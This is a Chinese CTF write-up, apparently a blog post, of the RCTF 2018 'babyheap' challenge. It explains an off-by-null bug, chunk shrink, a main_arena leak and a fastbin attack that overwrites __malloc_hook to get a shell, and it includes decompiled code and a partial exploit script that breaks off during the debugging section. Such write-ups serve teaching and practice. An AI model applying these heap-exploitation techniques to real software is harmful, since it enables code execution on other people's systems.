RCTF-2018 babyheap详解

本文详细解析了RCTF 2018中babyheap挑战的堆利用过程,包括off-by-null漏洞、chunk shrink、fastbin attack等技术。通过修改prev_size字段实现堆块重用,进而泄露main arena地址,并覆盖__malloc_hook获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01题目分析

qts@qts-PC:~/奇幻世界/RCTF2018/babyheap_38af156349af04e8f6dc22a0ffee6a7a$ ./checksec.sh --file babyheap 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap

保护全开,程序开启了Full RELRO 我们无法覆盖got表。

 if ( read(fd, &buf, 2uLL) < 0 )
    sub_B90((__int64)"read() error");
 v4 = calloc(buf, 1uLL);
 if ( !v4 )
    sub_B90((__int64)"memory error");

main函数首先从随机数文件读取两个字节随机分配一个chunk,这样使堆块相对偏移随机化。

 read(fd, &addr, 6uLL);
 addr = (void *)((unsigned __int64)addr & 0xFFFFFFFFFFF000LL);
 unk_202020 = mmap(addr, 0x1000uLL, 3, 34, -1, 0LL);
 if ( !unk_202020 )
    sub_B90((__int64)"memory error");

mmap出一块内存用于存放全局变量,该地址也是随机的。

if ( nmemb <= 0 || nmemb > 256 )
   sub_B90((__int64)"invalid size");
v5 = calloc(nmemb, 1uLL);
if ( !v5 )
   sub_B90((__int64)"memory error");
printf("input chunk content: ", 1LL);
read_n((__int64)v5, nmemb);

堆块大小为(0,256],每次分配都会将相应区域清零。进入read_n函数,这里存在off-by-null漏洞,当循环结束时会把超出a2的一个字节清零。

for ( i = 0; i < a2; ++i )
{
   buf = 0;
   if ( read(0, &buf, 1uLL) < 0 )
      sub_B90((__int64)"read() error");
   *(_BYTE *)(a1 + i) = buf;
   if ( buf == '\n' )
      break;
}
*(_BYTE *)(i + a1) = 0;

0x02 利用思路

利用堆块重用off-by-null(prev size字段的重用)可以改写本chunk的prev_size字段为任意值和size字段中的prev_inuse位置0,这样当释放该chunk的时候就会根据prev_size字段去合并前面的“空闲”堆块并将其释放到unsort bin中(chunk shrink)。这会导致当前正在使用的块也被一起释放到unsort bin中,就有可能泄露main arena 的地址。

fastbin attack实现任意地址写,覆盖__malloc_hookone_gadget的地址得到shell。


0x03 调试过程

add(0x100,'a'*0x100)   #0      
add(0x78,'b'*0x70)     #1  
add(0xf0,'c'*0xf0)     #2          
add(0x40,'e'*0x40)     #3
delete(0)              
delete(1)
add(0x78,'d'*0x70+p64(0x190))    #0   修改prev_size字段为0x190,off-by-null覆盖prev_inuse字段为0
gef➤  heap chunks
Chunk(addr=0x55ffbe56d010, size=0x64d0, flags=PREV_INUSE)
    [0x000055ffbe56d010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ................]
Chunk(a
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值